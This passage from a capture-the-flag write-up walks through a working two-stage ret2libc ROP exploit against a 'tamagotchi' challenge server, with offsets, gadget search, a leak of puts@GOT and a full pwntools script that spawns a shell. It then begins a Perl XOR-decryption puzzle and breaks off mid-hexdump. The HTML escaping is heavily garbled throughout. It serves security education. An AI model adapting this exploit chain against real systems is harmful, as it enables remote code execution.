\r\nAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7 ... Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A\r\n&#x5B;+] nom nom nom \r\n&#x5B;ch01c3]&amp;amp;amp;amp;gt; \r\n2\r\n&#x5B;+] bye bye\r\n\r\nBreakpoint 1, 0x000000000040079d in main ()\r\n(gdb) x\/xg $rsp\r\n0x7fffffffe1c8:\t0x6841336841326841\r\n(gdb) \r\n<\/pre>\n<p>When the breakpoint right at the return instruction is reached I printed the top of the stack using <code>x\/xg $rsp<\/code>. The first value on the stack is <code>0x6841336841326841<\/code>. This is the return address we have overwritten. Now we only have to calculate the offset:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -l 250 -q 6841336841326841\r\n&#x5B;*] Exact match at offset 216\r\n<\/pre>\n<p>There it is. Now we know where to put the return address. But what return address should we put there?<\/p>\n<p>Because we have the libc-library which is used on the server (see File #2: libc-2.26.so) we can calculate the offset the functions within the library.<\/p>\n<p>From now on I used <code>pwntools<\/code> for python. In order to install <code>pwntools<\/code> on <code>kali-linux<\/code> enter the following commands:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ apt-get update\r\nuser@host:~$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential\r\nuser@host:~$ pip install --upgrade pip\r\nuser@host:~$ pip install --upgrade pwntools\r\n<\/pre>\n<p>After this we can use <code>pwntools<\/code> which is very handy for tasks like this.<\/p>\n<p>At first we calculate the offset of the final function we want to call: <code>system<\/code>. Also we want to pass the function the string <code>\"\/bin\/sh\"<\/code>. Luckily this string resides within the libc and we can also find it using <code>pwntools<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nfrom pwn import *\r\n\r\nlibc = ELF('libc-2.26.so')\r\nbinsh_offset  = libc.search('\/bin\/sh').next()\r\nsystem_offset = libc.symbols&#x5B;&amp;amp;amp;amp;quot;system&amp;amp;amp;amp;quot;]\r\n\r\nprint(&amp;amp;amp;amp;quot;binsh_offset: &amp;amp;amp;amp;quot; + hex(binsh_offset))\r\nprint(&amp;amp;amp;amp;quot;system_offset: &amp;amp;amp;amp;quot; + hex(system_offset)\r\n<\/pre>\n<p>Running the script reveals the offsets:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/pwn.py\r\n&#x5B;*] '\/root\/Downloads\/libc-2.26.so'\r\n    Arch:     amd64-64-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    Canary found\r\n    NX:       NX enabled\r\n    PIE:      PIE enabled\r\nbinsh_offset: 0x1a3ee0\r\nsystem_offset: 0x47dc0\r\n<\/pre>\n<p>Now we have got the offset to the target function and the string we want to pass. What else is missing? The actual address in the memory address of the program. Because a library is not always mapped to the same memory region we need to know the base address of the libc mapped to the program&#8217;s memory space.<\/p>\n<p>If we have the absolute address of only one function within the libc we could look up its offset and subtract this from the absolute address resulting in the base address of the libc.<\/p>\n<p>We will use the function <code>puts<\/code> which is already used by the program. Because of that the absolute address of the function will be in the <code>Global Offset Table (GOT)<\/code>. If we call <code>puts<\/code> with the address of the <code>puts<\/code> GOT-entry the absolute address of the function will be printed. More on PLT\/GOT is explained here: https:\/\/www.technovelty.org\/linux\/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html.<\/p>\n<p>We can yet again use <code>radare2<\/code> to get the necessary addresses:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [8]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x00400500]&amp;amp;amp;amp;gt; pdf @ sym.imp.puts \r\n\/ (fcn) sym.imp.puts 32\r\n|   sym.imp.puts ();\r\n|       |   ; XREFS: CALL 0x00400701  CALL 0x0040078d  CALL 0x0040077a  CALL 0x00400743  CALL 0x00400768  CALL 0x004005ff  CALL 0x00400609  \r\n|       |   ; XREFS: CALL 0x00400613  CALL 0x0040061d  CALL 0x00400627  CALL 0x00400631  CALL 0x0040063b  CALL 0x00400645  CALL 0x0040064f  \r\n|       |   ; XREFS: CALL 0x00400659  CALL 0x00400663  CALL 0x0040066d  CALL 0x00400677  CALL 0x00400681  CALL 0x0040068b  CALL 0x00400695  \r\n|       |   ; XREFS: CALL 0x0040069f  CALL 0x004006af  CALL 0x004006b9  CALL 0x004006c3  \r\n|       |   0x004004b0      ff25620b2000   jmp qword &#x5B;reloc.puts_24]   ; &#x5B;0x601018:8]=0x4004b6 LEA reloc.puts_24 ; reloc.puts_24\r\n|       |   0x004004b6      6800000000     push 0\r\n\\       `=&amp;amp;amp;amp;lt; 0x004004bb      e9e0ffffff     jmp 0x4004a0\r\n<\/pre>\n<p>The <code>puts<\/code> GOT address is <code>0x601018<\/code> and the PLT address <code>0x4004b0<\/code>.<\/p>\n<p>There is yet another point to notice: with x86 on 32bit the function argument to libc functions were passed directly on the stack. Thus we would just have to push the address of the string <code>\"\/bin\/sh\"<\/code> on the stack. With x86_64 on 64bit the function argument is passed in the register <code>rdi<\/code>. This means that we have to put the address of the string <code>\"\/bin\/sh\"<\/code> in the register <code>rdi<\/code>. How could this be done? At this point we need <code>return oriented programing (rop)<\/code>: we search for useful assembler-instructions in a library, which is loaded in the memory space of the target program (e.g libc) and end with a return instruction. These useful assembler-instructions ending with a return instruction are called <code>rop gadgets<\/code>. We can make use of them by pushing two addresses on the stack: (1) the address of the rop-gadget and (2) the address of where we want to proceed after the execution of the rop-gadget. The CPU will first pop the address of rop-gadget and then execute the instructions of the rop-gadget until reaching the return instruction. At this point the second address we pushed on the stack will be popped and the execution proceeds at the address of our desire.<\/p>\n<p>By finding a rop-gadget which will pop <code>rdi<\/code> and then return we can easily put the address of the string <code>\"\/bin\/sh\"<\/code> from the stack to the <code>rdi<\/code> register.<\/p>\n<p>A rop-gadget can be found using <code>ropper<\/code> (https:\/\/github.com\/sashs\/Ropper):<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [18]; title: ; notranslate\" title=\"\">\r\nuser@host:~$ ropper --file tamagotchi --search &amp;amp;amp;amp;quot;% ?di&amp;amp;amp;amp;quot;\r\n&#x5B;INFO] Load gadgets for section: PHDR\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;INFO] Load gadgets for section: LOAD\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: % ?di\r\n\r\n&#x5B;INFO] File: tamagotchi\r\n0x0000000000400695: call 0x4b0; mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; \r\n0x00000000004006b9: call 0x4b0; mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; \r\n0x000000000040069a: mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; \r\n0x00000000004006be: mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; \r\n0x0000000000400550: mov edi, 0x601048; jmp rax; \r\n0x00000000004006b6: or al, byte ptr &#x5B;rax]; call 0x4b0; mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; \r\n0x0000000000400692: or dword ptr &#x5B;rax], eax; call 0x4b0; mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; \r\n0x000000000040054f: pop rbp; mov edi, 0x601048; jmp rax; \r\n0x0000000000400803: pop rdi; ret; \r\n<\/pre>\n<p>Great! At <code>0x400803<\/code> in the tamagotchi binary there is a rop-gadget of our needs.<\/p>\n<p>Adjusted python-script (Stage1):<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nlibc = ELF('libc-2.26.so')\r\nbinsh_offset  = libc.search('\/bin\/sh').next()\r\nsystem_offset = libc.symbols&#x5B;&amp;amp;amp;amp;quot;system&amp;amp;amp;amp;quot;]\r\nputs_offset   = libc.symbols&#x5B;&amp;amp;amp;amp;quot;puts&amp;amp;amp;amp;quot;]\r\n\r\nprint(&amp;amp;amp;amp;quot;binsh_offset: &amp;amp;amp;amp;quot; + hex(binsh_offset))\r\nprint(&amp;amp;amp;amp;quot;system_offset: &amp;amp;amp;amp;quot; + hex(system_offset))\r\nprint(&amp;amp;amp;amp;quot;puts_offset: &amp;amp;amp;amp;quot; + hex(puts_offset))\r\n\r\n\r\np = remote(&amp;amp;amp;amp;quot;challenges.hackvent.hacking-lab.com&amp;amp;amp;amp;quot;, 31337) \r\n\r\n####### STAGE 1 #######\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;1&amp;amp;amp;amp;quot;)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;f00d]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\nexpl  = &amp;amp;amp;amp;quot;A&amp;amp;amp;amp;quot; * 216\r\nexpl += p64(0x400803)   # rop-chain: pop rdi; ret;\r\nexpl += p64(0x601018)   # puts@got\r\nexpl += p64(0x4004b0)   # call puts\r\nexpl += p64(0x004006ca) # address of sym.main\r\np.sendline(expl)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;2&amp;amp;amp;amp;quot;)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;bye bye&amp;amp;amp;amp;quot;)\r\np.recv(1)\r\n\r\nputs_addr = int(p.recv(6)&#x5B;::-1].encode('hex'), 16)\r\nprint(&amp;amp;amp;amp;quot;puts addr: &#x5B;&amp;amp;amp;amp;quot;+hex(puts_addr)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n\r\nlibc_base = puts_addr - puts_offset\r\nprint(&amp;amp;amp;amp;quot;libc base: &#x5B;&amp;amp;amp;amp;quot; + hex(libc_base)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [13]; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/pwn2.py\r\n&#x5B;*] '\/user\/libc-2.26.so'\r\n    Arch:     amd64-64-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    Canary found\r\n    NX:       NX enabled\r\n    PIE:      PIE enabled\r\nbinsh_offset: 0x1a3ee0\r\nsystem_offset: 0x47dc0\r\nputs_offset: 0x78460\r\n&#x5B;+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done\r\nputs addr: &#x5B;0x7f1b3859d460]\r\nlibc base: &#x5B;0x7f1b38525000]\r\n&#x5B;*] Closed connection to challenges.hackvent.hacking-lab.com port 31337\r\n<\/pre>\n<p>So now we have got the base address of the libc, we can easily calculate the absolute address of the system function and the argument string <code>\"\/bin\/sh\"<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nsystem_addr = libc_base + system_offset\r\nprint(&amp;amp;amp;amp;quot;system addr: &#x5B;&amp;amp;amp;amp;quot; + hex(system_addr)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n\r\nbinsh_addr  = libc_base + binsh_offset\r\nprint(&amp;amp;amp;amp;quot;binsh addr: &#x5B;&amp;amp;amp;amp;quot; + hex(binsh_addr)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n<\/pre>\n<p>Rerunning the script gives us the absolute addresses:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nsystem addr: &#x5B;0x7f8fdaed3dc0]\r\nbinsh addr: &#x5B;0x7f8fdb02fee0]\r\n...\r\n<\/pre>\n<p>Now we can proceed to stage2. The last address we put on the stack in stage1 was the address of <code>sym.main<\/code>. Thus after we chose <code>2<\/code> (<code>bye bye<\/code>) the program does not terminate, but rather starts again at the beginning. This is important because if we leaked the libc base address and then reconnect to the server, the program is started again and the base address is not the same again (ASLR). By returning to the address of <code>sym.main<\/code> we can just proceed like in stage1:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n\r\n####### STAGE 2 #######\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;1&amp;amp;amp;amp;quot;)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;f00d]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\nexpl  = &amp;amp;amp;amp;quot;A&amp;amp;amp;amp;quot; * 216\r\nexpl += p64(0x400803)    # rop-chain: pop rdi; ret;\r\nexpl += p64(binsh_addr)  # binsh address\r\nexpl += p64(system_addr) # system address\r\np.sendline(expl)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;2&amp;amp;amp;amp;quot;)\r\n\r\np.interactive()\r\n<\/pre>\n<p>It&#8217;s basically the same like in stage1. Only the payload differs. At first we put (yet again) our rop-chain on the stack. Then the argument which should be popped to <code>edi<\/code>. And then our final function-address: the formerly calculated absolute address of system. After sending the payload we chose <code>2<\/code> (<code>bye bye<\/code>) again in order to let the return instruction make our call to the <code>system<\/code> function. The method <code>interactive()<\/code> redirects <code>stdin<\/code> to our keyboard input and we can interact with the program ourself.<\/p>\n<p>Running the final script:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [24]; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/pwn3.py\r\n&#x5B;*] '\/user\/libc-2.26.so'\r\n    Arch:     amd64-64-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    Canary found\r\n    NX:       NX enabled\r\n    PIE:      PIE enabled\r\nbinsh_offset: 0x1a3ee0\r\nsystem_offset: 0x47dc0\r\nputs_offset: 0x78460\r\n&#x5B;+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done\r\nputs addr: &#x5B;0x7f8fdaf04460]\r\nlibc base: &#x5B;0x7f8fdae8c000]\r\nsystem addr: &#x5B;0x7f8fdaed3dc0]\r\nbinsh addr: &#x5B;0x7f8fdb02fee0]\r\n&#x5B;*] Switching to interactive mode\r\n \r\n&#x5B;+] bye bye\r\n$ whoami\r\ntamagotchi\r\n$ find . -name &amp;amp;amp;amp;quot;flag&amp;amp;amp;amp;quot;\r\n.\/home\/tamagotchi\/flag\r\n$ cat \/home\/tamagotchi\/flag\r\nHV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d\r\n$ exit\r\n&#x5B;*] Got EOF while reading in interactive\r\n<\/pre>\n<p>Done =)<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d<\/span><\/code>.<\/p>\n<p>Final python-script:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nfrom pwn import *\r\n\r\nlibc = ELF('libc-2.26.so')\r\nbinsh_offset  = libc.search('\/bin\/sh').next()\r\nsystem_offset = libc.symbols&#x5B;&amp;amp;amp;amp;quot;system&amp;amp;amp;amp;quot;]\r\nputs_offset   = libc.symbols&#x5B;&amp;amp;amp;amp;quot;puts&amp;amp;amp;amp;quot;]\r\n\r\nprint(&amp;amp;amp;amp;quot;binsh_offset: &amp;amp;amp;amp;quot; + hex(binsh_offset))\r\nprint(&amp;amp;amp;amp;quot;system_offset: &amp;amp;amp;amp;quot; + hex(system_offset))\r\nprint(&amp;amp;amp;amp;quot;puts_offset: &amp;amp;amp;amp;quot; + hex(puts_offset))\r\n\r\n\r\np = remote(&amp;amp;amp;amp;quot;challenges.hackvent.hacking-lab.com&amp;amp;amp;amp;quot;, 31337) \r\n\r\n####### STAGE 1 #######\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;1&amp;amp;amp;amp;quot;)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;f00d]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\nexpl  = &amp;amp;amp;amp;quot;A&amp;amp;amp;amp;quot; * 216\r\nexpl += p64(0x400803)   # rop-chain: pop rdi; ret;\r\nexpl += p64(0x601018)   # puts@got\r\nexpl += p64(0x4004b0)   # call puts\r\nexpl += p64(0x004006ca) # address of sym.main\r\np.sendline(expl)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;2&amp;amp;amp;amp;quot;)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;bye bye&amp;amp;amp;amp;quot;)\r\np.recv(1)\r\n\r\nputs_addr = int(p.recv(6)&#x5B;::-1].encode('hex'), 16)\r\nprint(&amp;amp;amp;amp;quot;puts addr: &#x5B;&amp;amp;amp;amp;quot;+hex(puts_addr)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n\r\nlibc_base = puts_addr - puts_offset\r\nprint(&amp;amp;amp;amp;quot;libc base: &#x5B;&amp;amp;amp;amp;quot; + hex(libc_base)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n\r\nsystem_addr = libc_base + system_offset\r\nprint(&amp;amp;amp;amp;quot;system addr: &#x5B;&amp;amp;amp;amp;quot; + hex(system_addr)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n\r\nbinsh_addr  = libc_base + binsh_offset\r\nprint(&amp;amp;amp;amp;quot;binsh addr: &#x5B;&amp;amp;amp;amp;quot; + hex(binsh_addr)+&amp;amp;amp;amp;quot;]&amp;amp;amp;amp;quot;)\r\n\r\n\r\n####### STAGE 2 #######\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;1&amp;amp;amp;amp;quot;)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;f00d]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\nexpl  = &amp;amp;amp;amp;quot;A&amp;amp;amp;amp;quot; * 216\r\nexpl += p64(0x400803)    # rop-chain: pop rdi; ret;\r\nexpl += p64(binsh_addr)  # binsh address\r\nexpl += p64(system_addr) # system address\r\np.sendline(expl)\r\n\r\np.recvuntil(&amp;amp;amp;amp;quot;ch01c3]&amp;amp;amp;amp;gt;&amp;amp;amp;amp;quot;)\r\np.sendline(&amp;amp;amp;amp;quot;2&amp;amp;amp;amp;quot;)\r\n\r\np.interactive()\r\n<\/pre>\n<hr \/>\n<h1 id=\"day23\">Day 23: only perl can parse Perl<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: M.<\/span><br \/>\n<i>&#8230; but there is always one more way to approach things!<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">get your flag here&#8230;<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">(in doubt, use perl5.10+ on *nix)<\/span><\/td>\n<\/tr>\n<\/table>\n<p>Let&#8217;s have a look at the provided perl-file:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ cat onlyperl.pl\r\n4;q;$,=q\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u001a\u0001MC\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u0003|\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdL\u00ef\u00bf\u00bd^M\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdM\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdL\u00ef\u00bf\u00bdD\u00ef\u00bf\u00bdl\u00ef\u00bf\u00bdG\u00ef\u00bf\u00bdA\u00ef\u00bf\u00bd]N\u00ef\u00bf\u00bdK]N\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdl\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdL\u00ef\u00bf\u00bdD\u00ef\u00bf\u00bdl\u00ef\u00bf\u00bd...\r\n...\r\n<\/pre>\n<p>A little bit more non-ASCII than I hoped for \ud83d\ude09<\/p>\n<p>When running the script with perl a password is prompted:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ perl onlyperl.pl\r\nPassword:\r\ntest\r\nL\u00ef\u00bf\u00bd82\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdwbpn\u00ef\u00bf\u00bd\u00021\u00ef\u00bf\u00bdo\\\u0017\u00ef\u00bf\u00bd\r\n\u00ef\u00bf\u00bdybh\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bds\u00ef\u00bf\u00bdpi\r\n\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdv?H\u00ef\u00bf\u00bd\r\n\u00ef\u00bf\u00bdyUzp\u0015\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdl\u00ef\u00bf\u00bd{\u001b\u0012\u0002\u00ef\u00bf\u00bd$\u00ef\u00bf\u00bdlm\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdrUw\\\u0015\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdT\u00ef\u00bf\u00bdyg\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdg\u00ef\u00bf\u00bdvn\u0012\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdwU\u00ef\u00bf\u00bd`\u00ef\u00bf\u00bd\u0003\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd$\u00ef\u00bf\u00bdo`\u00ef\u00bf\u00bd\u00ef\u00bf\u00bds\u00ef\u00bf\u00bdz\u001b\u0011\u0003\u00ef\u00bf\u00bdi\u00ef\u00bf\u00bdli\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd{U6p\u0016\u0006\u00ef\u00bf\u00bd\u00ef\u00bf\u00bdm\u00ef\u00bf\u00bd6\u0006\u00ef\u00bf\u00bd\u00ef\u00bf\u00bd\r\nDecryption done, are you happy now?\r\n<\/pre>\n<p>Yet again binary data. I wrote a little shell-script to extract the data in order to test different passwords:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/bin\/bash\r\necho &amp;amp;amp;amp;quot;test&amp;amp;amp;amp;quot; &amp;amp;amp;amp;gt; inp\r\nperl onlyperl.pl &amp;amp;amp;amp;lt; inp &amp;amp;amp;amp;gt; out\r\ndd if=out of=out_new bs=1 skip=10 count=145\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/perl.sh\r\n145+0 records in\r\n145+0 records out\r\n145 bytes copied, 0.000557294 s, 260 kB\/s\r\nuser@host:~$ hexdump -C out_new\r\n00000000  4c 8b 38 32 d0 08 f9 f5  77 62 70 6e d0 02 00 00  |L.82....wbpn....|\r\n00000010  31 ac 6f 5c 17 c1 0a fb  79 62 68 6d 08 c1 fd fb  |1.o\\....ybhm....|\r\n00000020  73 a0 70 69 0a c1 f7 fb  76 3f 48 6d 08 b4 0a fb  |s.pi....v?Hm....|\r\n00000030  79 55 7a 70 15 f9 b1 00  6c 96 7b 1b 12 02 fd 05  |yUzp....l.{.....|\r\n00000040  24 a5 6c 6d 0f b4 f4 ed  72 55 77 5c 15 07 f6 ac  |$.lm....rUw\\....|\r\n00000050  54 9a 79 67 e2 9e de f5  67 a7 76 6e 12 fa 05 b3  |T.yg....g.vn....|\r\n00000060  77 55 80 60 c3 03 fd f0  24 a8 6f 60 0f 00 b1 f0  |wU.`....$.o`....|\r\n00000070  73 9a 7a 1b 11 03 05 ac  69 ab 6c 69 c3 ff ff fb  |s.z.....i.li....|\r\n00000080  7b 55 36 70 16 06 c0 ee  6d a3 36 6b 08 06 fd ba  |{U6p....m.6k....|\r\n00000090  0e                                                |.|\r\n00000091\r\n<\/pre>\n<p>Adjust one character of the password:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\necho &amp;amp;amp;amp;quot;tesb&amp;amp;amp;amp;quot; &amp;amp;amp;amp;gt; inp\r\n...\r\n<\/pre>\n<p>And rerun the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/perl.sh\r\n145+0 records in\r\n145+0 records out\r\n145 bytes copied, 0.000400438 s, 362 kB\/s\r\nuser@host:~$ hexdump -C out_new\r\n00000000  4c 8b 38 20 d0 08 f9 f5  77 62 70 5c d0 02 00 00  |L.8 ....wbp\\....|\r\n00000010  31 ac 6f 4a 17 c1 0a fb  79 62 68 5b 08 c1 fd fb  |1.oJ....ybh&#x5B;....|\r\n00000020  73 a0 70 57 0a c1 f7 fb  76 3f 48 5b 08 b4 0a fb  |s.pW....v?H&#x5B;....|\r\n00000030  79 55 7a 5e 15 f9 b1 00  6c 96 7b 09 12 02 fd 05  |yUz^....l.{.....|\r\n00000040  24 a5 6c 5b 0f b4 f4 ed  72 55 77 4a 15 07 f6 ac  |$.l&#x5B;....rUwJ....|\r\n00000050  54 9a 79 55 e2 9e de f5  67 a7 76 5c 12 fa 05 b3  |T.yU....g.v\\....|\r\n00000060  77 55 80 4e c3 03 fd f0  24 a8 6f 4e 0f 00 b1 f0  |wU.N....$.oN....|\r\n00000070  73 9a 7a 09 11 03 05 ac  69 ab 6c 57 c3 ff ff fb  |s.z.....i.lW....|\r\n00000080  7b 55 36 5e 16 06 c0 ee  6d a3 36 59 08 06 fd ba  |{U6^....m.6Y....|\r\n00000090  0e                                                |.|\r\n00000091\r\n<\/pre>\n<p>Comparing the two hex-dumps we can notice that the 4th, 12th, 20th, 28th, &#8230; bytes are different. It&#8217;s also eye-catching that the 1st to 4th and the 9th to 12th byte of every row is within the ASCII-character-range. It seems likely that the output is encoded with our password as a key of length 8. That&#8217;s why every 8th character (4th, 12th, 20th, &#8230;) is different as we only changed one character in our password. Also our password only has a length of 4 so the key must be padded resulting in the eye-gatching gaps of 4 bytes.<\/p>\n<p>Yet again I adjusted the password:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\necho &amp;amp;amp;amp;quot;password&amp;amp;amp;amp;quot; &amp;amp;amp;amp;gt; inp\r\n...\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/perl.sh\r\n145+0 records in\r\n145+0 records out\r\n145 bytes copied, 0.000480779 s, 302 kB\/s\r\nuser@host:~$ hexdump -C out_new\r\n00000000  48 87 38 31 3d 77 6b 59  73 5e 70 6d 3d 71 72 64  |H.81=wkYs^pm=qrd|\r\n00000010  2d a8 6f 5b 84 30 7c 5f  75 5e 68 6c 75 30 6f 5f  |-.o&#x5B;.0|_u^hlu0o_|\r\n00000020  6f 9c 70 68 77 30 69 5f  72 3b 48 6c 75 23 7c 5f  |o.phw0i_r;Hlu#|_|\r\n00000030  75 51 7a 6f 82 68 23 64  68 92 7b 1a 7f 71 6f 69  |uQzo.h#dh.{..qoi|\r\n00000040  20 a1 6c 6c 7c 23 66 51  6e 51 77 5b 82 76 68 10  | .ll|#fQnQw&#x5B;.vh.|\r\n00000050  50 96 79 66 4f 0d 50 59  63 a3 76 6d 7f 69 77 17  |P.yfO.PYc.vm.iw.|\r\n00000060  73 51 80 5f 30 72 6f 54  20 a4 6f 5f 7c 6f 23 54  |sQ._0roT .o_|o#T|\r\n00000070  6f 96 7a 1a 7e 72 77 10  65 a7 6c 68 30 6e 71 5f  |o.z.~rw.e.lh0nq_|\r\n00000080  77 51 36 6f 83 75 32 52  69 9f 36 6a 75 75 6f 1e  |wQ6o.u2Ri.6juuo.|\r\n00000090  0a                                                |.|\r\n00000091\r\n<\/pre>\n<p>I tried different passwords and recognized that the first part of the output might be a flag.<\/p>\n<p>By gradually adjusting the password I tried to get <code>\"HV17-\"<\/code> in the output:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\necho &amp;amp;amp;amp;quot;p0lyword&amp;amp;amp;amp;quot; &amp;amp;amp;amp;gt; inp\r\n...\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/perl.sh\r\n145+0 records in\r\n145+0 records out\r\n145 bytes copied, 0.000796671 s, 182 kB\/s\r\nuser@host:~$ hexdump -C out_new\r\n00000000  48 56 31 37 3d 77 6b 59  73 2d 69 73 3d 71 72 64  |HV17=wkYs-is=qrd|\r\n00000010  2d 77 